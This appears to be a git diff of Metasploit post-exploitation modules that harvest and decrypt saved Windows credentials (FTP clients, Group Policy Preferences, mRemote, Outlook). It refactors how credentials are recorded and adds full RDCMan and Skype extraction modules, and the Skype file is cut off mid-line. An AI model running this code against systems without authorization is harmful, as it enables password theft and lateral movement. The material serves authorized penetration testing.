post_reference_name: self.refname, + private_type: :password, + private_data: config['admin_pass'], + username: 'admin' + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index 8ba708d458..efb320bb2d 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -84,19 +84,32 @@ class Metasploit3 < Msf::Post passwd = decrypt(epass) print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => passwd) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end rescue print_status("Either could not find or could not open file #{filename}") diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb index f232b8d85d..55c98131a2 100644 --- a/modules/post/windows/gather/credentials/ftpnavigator.rb +++ b/modules/post/windows/gather/credentials/ftpnavigator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -67,20 +67,32 @@ class Metasploit3 < Msf::Post end print_good("Host: #{server} Port: #{port} User: #{username} Pass: #{dpass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => server, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => dpass - ) + service_data = { + address: Rex::Socket.getaddress(server), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: dpass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index 49b8e01e9b..0423d9d277 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -72,19 +72,32 @@ class Metasploit3 < Msf::Post print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'") # save results to the db - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index c4149969f5..3c5dc71b14 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -1,18 +1,18 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'rex' -require 'rexml/document' require 'msf/core/auxiliary/report' +require 'rex/parser/group_policy_preferences' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry + include Msf::Post::Windows::NetAPI def initialize(info={}) super( update_info( info, @@ -41,7 +41,8 @@ class Metasploit3 < Msf::Post ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'], - ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'] + ['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'], + ['MSB', 'MS14-025'] ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] @@ -67,16 +68,11 @@ class Metasploit3 < Msf::Post domains = [] basepaths = [] fullpaths = [] - cached_domain_controller = nil print_status "Checking for group policy history objects..." - # Windows XP environment variable points to the correct folder. - # Windows Vista and upwards points to ProgramData! - all_users = expand_path("%ALLUSERSPROFILE%") + all_users = get_env("%ALLUSERSPROFILE%") - if all_users.include? 'ProgramData' - all_users.gsub!('ProgramData','Users\\All Users') - else + unless all_users.include? 'ProgramData' all_users = "#{all_users}\\Application Data" end @@ -209,7 +205,7 @@ class Metasploit3 < Msf::Post xml_path = "#{path}#{xml_path}" begin return xml_path if exist? xml_path - rescue Rex::Post::Meterpreter::RequestError => e + rescue Rex::Post::Meterpreter::RequestError # No permissions for this specific file. return nil end @@ -223,7 +219,7 @@ class Metasploit3 < Msf::Post retobj = { :dc => spath[2], :path => path, - :xml => REXML::Document.new(data).root + :xml => data } if spath[4] == "sysvol" retobj[:domain] = spath[5] @@ -240,157 +236,73 @@ class Metasploit3 < Msf::Post def parse_xml(xmlfile) mxml = xmlfile[:xml] print_status "Parsing file: #{xmlfile[:path]} ..." - filetype = xmlfile[:path].split('\\').last() - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - pass = decrypt(epassword) + filetype = File.basename(xmlfile[:path].gsub("\\","/")) + results = Rex::Parser::GPP.parse(mxml) - user = node.attributes['runAs'] if node.attributes['runAs'] - user = node.attributes['accountName'] if node.attributes['accountName'] - user = node.attributes['username'] if node.attributes['username'] - user = node.attributes['userName'] if node.attributes['userName'] - user = node.attributes['newName'] unless node.attributes['newName'].blank? - changed = node.parent.attributes['changed'] - - # Printers and Shares - path = node.attributes['path'] - - # Datasources - dsn = node.attributes['dsn'] - driver = node.attributes['driver'] - - # Tasks - app_name = node.attributes['appName'] - - # Services - service = node.attributes['serviceName'] - - # Groups - expires = node.attributes['expires'] - never_expires = node.attributes['neverExpires'] - disabled = node.attributes['acctDisabled'] - - table = Rex::Ui::Text::Table.new( - 'Header' => 'Group Policy Credential Info', - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => - [ - 'Name', - 'Value', - ] - ) - - table << ["TYPE", filetype] - table << ["USERNAME", user] - table << ["PASSWORD", pass] - table << ["DOMAIN CONTROLLER", xmlfile[:dc]] - table << ["DOMAIN", xmlfile[:domain] ] - table << ["CHANGED", changed] - table << ["EXPIRES", expires] unless expires.blank? - table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank? - table << ["DISABLED", disabled] unless disabled.blank? - table << ["PATH", path] unless path.blank? - table << ["DATASOURCE", dsn] unless dsn.blank? - table << ["DRIVER", driver] unless driver.blank? - table << ["TASK", app_name] unless app_name.blank? - table << ["SERVICE", service] unless service.blank? - - node.elements.each('//Attributes//Attribute') do |dsn_attribute| - table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"] - end + tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc]) + tables.each do |table| print_good table.to_s + end + results.each do |result| if datastore['STORE'] stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path]) print_status("XML file saved to: #{stored_path}") + print_line end - report_creds(user,pass) unless disabled and disabled == '1' + report_creds(result[:USER], result[:PASS], result[:DISABLED]) end end - def report_creds(user, pass) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end + def report_creds(user, password, disabled) + service_data = { + address: session.session_host, + port: 445, + protocol: "tcp", + service_name: "smb", + workspace_id: myworkspace_id + } - report_auth_info( - :host => session.sock.peerhost, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) - end + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: password, + private_type: :password + } - def decrypt(encrypted_data) - padding = "=" * (4 - (encrypted_data.length % 4)) - epassword = "#{encrypted_data}#{padding}" - decoded = Rex::Text.decode_base64(epassword) + credential_core = create_credential(credential_data.merge(service_data)) - key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" - aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") - aes.decrypt - aes.key = key - plaintext = aes.update(decoded) - plaintext << aes.final - pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } - return pass + create_credential_login(login_data.merge(service_data)) end def enum_domains - domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM - buffersize = 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) - # Estimate new buffer size on percentage recovered. - percent_found = (result['entriesread'].to_f/result['totalentries'].to_f) - if percent_found > 0 - buffersize = (buffersize/percent_found).to_i - else - buffersize += 500 - end - - while result['return'] == 234 - buffersize = buffersize + 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) - end - - count = result['totalentries'] - print_status("#{count} Domain(s) found.") - startmem = result['bufptr'] - - base = 0 domains = [] + results = net_server_enum(SV_TYPE_DOMAIN_ENUM) - if count == 0 - return domains + if results + results.each do |domain| + domains << domain[:name] + end + + domains.uniq! + print_status("Retrieved Domain(s) #{domains.join(', ')} from network") end - mem = client.railgun.memread(startmem, 8*count) - - count.times do |i| - x = {} - x[:platform] = mem[(base + 0),4].unpack("V*")[0] - nameptr = mem[(base + 4),4].unpack("V*")[0] - x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join - domains << x[:domain] - base = base + 8 - end - - domains.uniq! - print_status "Retrieved Domain(s) #{domains.join(', ')} from network" - return domains + domains end def enum_dcs(domain) + hostnames = nil # Prevent crash if FQDN domain names are searched for or other disallowed characters: # http://support.microsoft.com/kb/909264 \/:*?"<>| if domain =~ /[:\*?"<>\\\/.]/ @@ -399,34 +311,19 @@ class Metasploit3 < Msf::Post end print_status("Enumerating DCs for #{domain} on the network...") - domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) - buffersize = 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) - while result['return'] == 234 - buffersize = buffersize + 500 - result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) - end - if result['totalentries'] == 0 + results = net_server_enum(SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL, domain) + + if results.blank? print_error("No Domain Controllers found for #{domain}") - return nil + else + hostnames = [] + results.each do |dc| + print_good "DC Found: #{dc[:name]}" + hostnames << dc[:name] + end end - count = result['totalentries'] - startmem = result['bufptr'] - - base = 0 - mem = client.railgun.memread(startmem, 8*count) - hostnames = [] - count.times{|i| - t = {} - t[:platform] = mem[(base + 0),4].unpack("V*")[0] - nameptr = mem[(base + 4),4].unpack("V*")[0] - t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join - base = base + 8 - print_good "DC Found: #{t[:dc_hostname]}" - hostnames << t[:dc_hostname] - } - return hostnames + hostnames end # We use this for the odd test case where a DC is unable to be enumerated from the network diff --git a/modules/post/windows/gather/credentials/idm.rb b/modules/post/windows/gather/credentials/idm.rb index e61b43a33a..cd1d938a23 100644 --- a/modules/post/windows/gather/credentials/idm.rb +++ b/modules/post/windows/gather/credentials/idm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/imail.rb b/modules/post/windows/gather/credentials/imail.rb index b628cf24cb..db8a566a30 100644 --- a/modules/post/windows/gather/credentials/imail.rb +++ b/modules/post/windows/gather/credentials/imail.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/imvu.rb b/modules/post/windows/gather/credentials/imvu.rb index 256e507b46..239eb67dd2 100644 --- a/modules/post/windows/gather/credentials/imvu.rb +++ b/modules/post/windows/gather/credentials/imvu.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/meebo.rb b/modules/post/windows/gather/credentials/meebo.rb index f7a89cb27b..b8300534e6 100644 --- a/modules/post/windows/gather/credentials/meebo.rb +++ b/modules/post/windows/gather/credentials/meebo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index bf73a554b8..6658d6c797 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,10 +10,10 @@ require 'rexml/document' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post + include Msf::Post::File include Msf::Post::Windows::UserProfiles include Msf::Auxiliary::Report - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather mRemote Saved Password Extraction', @@ -41,25 +41,25 @@ class Metasploit3 < Msf::Post grab_user_profiles().each do |user| next if user['LocalAppData'] == nil - tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml' + tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml' + ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml' get_xml(tmpath) + get_xml(ng_path) end end def get_xml(path) - condata="" + print_status("Looking for #{path}") begin - xmlexists = client.fs.file.stat(path) - connections = client.fs.file.new(path,'r') - until connections.eof - condata << connections.read + if file_exist?(path) + condata = read_file(path) + parse_xml(condata) + print_status("Finished processing #{path}") end - parse_xml(condata) - print_status("Finished processing #{path}") - rescue + rescue Rex::Post::Meterpreter::RequestError print_status("The file #{path} either could not be read or does not exist") + return end - end def parse_xml(data) @@ -73,25 +73,49 @@ class Metasploit3 < Msf::Post user = node.attributes['Username'] domain = node.attributes['Domain'] epassword= node.attributes['Password'] - next if epassword == nil or epassword== "" + next if epassword == nil || epassword == "" + decoded = epassword.unpack("m*")[0] - iv= decoded.slice!(0,16) - pass=decrypt(decoded, @secret , iv, "AES-128-CBC") + iv = decoded.slice!(0,16) + pass = decrypt(decoded, @secret , iv, "AES-128-CBC") print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}") - user= "#{domain}\\#{user}" unless domain.nil? or domain.empty? - if session.db_record - source_id = session.db_record.id - else - source_id = nil + + service_data = { + address: host, + port: port, + service_name: proto, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + if domain.present? + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = domain end - report_auth_info( - :host => host, - :port => port, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) end end diff --git a/modules/post/windows/gather/credentials/nimbuzz.rb b/modules/post/windows/gather/credentials/nimbuzz.rb index c9e0c48025..642920b371 100644 --- a/modules/post/windows/gather/credentials/nimbuzz.rb +++ b/modules/post/windows/gather/credentials/nimbuzz.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index e03448e5e9..50bf41d0d5 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -54,7 +54,6 @@ class Metasploit3 < Msf::Post addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - #print_status("#{ret.inspect}") len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") @@ -141,7 +140,7 @@ class Metasploit3 < Msf::Post pop3_pw.slice!(0,1) pass = decrypt_password(pop3_pw) print_status(" User Password: #{pass}") - # Prepare data for report_auth_info + # Prepare data for creds got_user_pw = 1 host = pop3_server user = pop3_user @@ -215,7 +214,7 @@ class Metasploit3 < Msf::Post host = http_server_url user = http_user - #Detect 80 or 443 for report_auth_info + #Detect 80 or 443 for creds http_server_url.downcase! if http_server_url.include? "h\x00t\x00t\x00p\x00s" portnum = 443 @@ -303,37 +302,61 @@ class Metasploit3 < Msf::Post end if got_user_pw == 1 - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => type, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) - #print_status("CHK report_auth_info: host = #{host}, port= #{portnum}, sname= #{type}, user= #{user}, pass= #{pass}") + service_data = { + address: Rex::Socket.getaddress(host), + port: portnum, + protocol: "tcp", + service_name: type, + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end if smtp_use_auth != nil - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => smtp_server, - :port => smtp_port, - :sname => "smtp", - :source_id => source_id, - :source_type => "exploit", - :user => smtp_user, - :pass => smtp_decrypted_password) - #print_status("SMTP report_auth_info: host = #{smtp_server}, port= #{smtp_port}, sname= SMTP, user= #{smtp_user}, pass= #{smtp_decrypted_password}") + service_data = { + address: Rex::Socket.getaddress(smtp_server), + port: smtp_port, + protocol: "tcp", + service_name: "smtp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: smtp_user, + private_data: smtp_decrypted_password, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end print_status("") diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index 0e87b99099..8fd16f920e 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 7e5fc7dfa1..401b664029 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/rdc_manager_creds.rb b/modules/post/windows/gather/credentials/rdc_manager_creds.rb new file mode 100644 index 0000000000..45f0e8ed0d --- /dev/null +++ b/modules/post/windows/gather/credentials/rdc_manager_creds.rb @@ -0,0 +1,218 @@ +# -*- coding: binary -*- + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'rexml/document' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::UserProfiles + include Msf::Post::Windows::Priv + include Msf::Auxiliary::Report + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Remote Desktop Connection Manager Saved Password Extraction', + 'Description' => %q{ + This module extracts and decrypts saved Microsoft Remote Desktop + Connection Manager (RDCMan) passwords the .RDG files of users. + The module will attempt to find the files configured for all users + on the target system. Passwords for managed hosts are encrypted by + default. In order for decryption of these passwords to be successful, + this module must be executed under the same account as the user which + originally encrypted the password. Passwords stored in plain text will + be captured and documented. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tom Sellers '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + if is_system? + uid = session.sys.config.getuid + print_warning("This module is running under #{uid}.") + print_warning("Automatic decryption of encrypted passwords will not be possible.") + print_warning("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).") + end + + settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings' + profiles = grab_user_profiles + + profiles.each do |user| + next if user['LocalAppData'].nil? + settings_path = "#{user['LocalAppData']}\\#{settings_file}" + next unless file?(settings_path) + print_status("Found settings for #{user['UserName']}.") + + settings = read_file(settings_path) + connection_files = settings.scan(/string>(.*?)<\/string/) + + connection_files.each do |con_f| + next unless session.fs.file.exists?(con_f[0]) + print_status("\tOpening RDC Manager server list: #{con_f[0]}") + connection_data = read_file(con_f[0]) + if connection_data + parse_connections(connection_data) + else + print_error("\tUnable to open RDC Manager server list: #{con_f[0]}") + next + end + end + end + end + + def decrypt_password(data) + rg = session.railgun + rg.add_dll('crypt32') unless rg.get_dll('crypt32') + + pid = client.sys.process.getpid + process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + + mem = process.memory.allocate(128) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid && i["arch"] == "x86"} + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + addr = [mem].pack("Q") + len = [data.length].pack("Q") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + len, addr = ret["pDataOut"].unpack("Q2") + end + + return "" if len == 0 + decrypted_pw = process.memory.read(addr, len) + return decrypted_pw + end + + def extract_password(object) + if object.name == 'server' + logon_creds = object.elements['logonCredentials'] + elsif object.elements['properties'] && object.elements['properties'].elements['logonCredentials'] + logon_creds = object.elements['properties'].elements['logonCredentials'] + else + return nil, nil, nil + end + + if logon_creds.attributes['inherit'] == "None" + # The credentials are defined directly on the server + username = logon_creds.elements['userName'].text + domain = logon_creds.elements['domain'].text + if logon_creds.elements['password'].attributes['storeAsClearText'] == "True" + password = logon_creds.elements['password'].text + else + crypted_pass = Rex::Text.decode_base64(logon_creds.elements['password'].text) + password = decrypt_password(crypted_pass) + password = Rex::Text.to_ascii(password) + if password.blank? + print_warning("\tUnable to decrypt password, try migrating to a process running as the file's owner.") + end + end + + elsif logon_creds.attributes['inherit'] == "FromParent" + # The credentials are inherited from a parent + parent = object.parent + username, password, domain = extract_password(parent) + end + + return username, password, domain + end + + def parse_connections(connection_data) + doc = REXML::Document.new(connection_data) + + # Process all of the server records + doc.elements.each("//server") do |server| + svr_name = server.elements['name'].text + username, password, domain = extract_password(server) + if server.elements['connectionSettings'].attributes['inherit'] == "None" + port = server.elements['connectionSettings'].elements['port'].text + else + port = 3389 + end + + print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}") + register_creds(svr_name, username, password, domain, port) if password || username + end + + # Process all of the gateway elements, irrespective of server + doc.elements.each("//gatewaySettings") do |gateway| + next unless gateway.attributes['inherit'] == "None" + svr_name = gateway.elements['hostName'].text + username = gateway.elements['userName'].text + domain = gateway.elements['domain'].text + + if gateway.elements['password'].attributes['storeAsClearText'] == "True" + password = gateway.elements['password'].text + else + crypted_pass = Rex::Text.decode_base64(gateway.elements['password'].text) + password = decrypt_password(crypted_pass) + password = Rex::Text.to_ascii(password) + end + + parent = gateway.parent + if parent.elements['connectionSettings'].attributes['inherit'] == "None" + port = parent.elements['connectionSettings'].elements['port'].text + else + port = 3389 + end + + print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}") + register_creds(svr_name, username, password, domain, port) if password || username + end + end + + def register_creds(host_ip, user, pass, realm, port) + # Note that entries added by hostname instead of IP will not + # generate complete records. See discussion here: + # https://github.com/rapid7/metasploit-framework/pull/3599#issuecomment-51710319 + + # Build service information + service_data = { + address: host_ip, + port: port, + service_name: 'rdp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + username: user, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: realm, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb new file mode 100644 index 0000000000..f950de44e5 --- /dev/null +++ b/modules/post/windows/gather/credentials/skype.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Skype Saved Password Hash Extraction', + 'Description' => %q{ This module finds saved login credentials + for the Windows Skype client. The hash is in MD5 format + that uses the username, a static string "\nskyper\n" and the + password. The resulting MD5 is stored in the Config.xml file + for the user after being XOR'd against a key generated by applying + 2 SHA1 hashes of "salt" data which is stored in ProtectedStorage + using the Windows API CryptProtectData against the MD5 }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'mubix', # module + 'hdm' # crypto help + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ + ['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'], + ['URL', 'http://insecurety.net/?p=427'], + ['URL', 'https://github.com/skypeopensource/tools'] + ] + )) + end + +# To generate test hashes in ruby use: +=begin + +require 'openssl' + +username = "test" +passsword = "test" + +hash = Digest::MD5.new +hash.update username +hash.update "\nskyper\n" +hash.update password + +puts hash.hexdigest + +=end + + def decrypt_reg(data) + rg = session.railgun + pid = session.sys.process.getpid + process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = process.memory.allocate(512) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV") + addr = Rex::Text.pack_int64le(mem) + len = 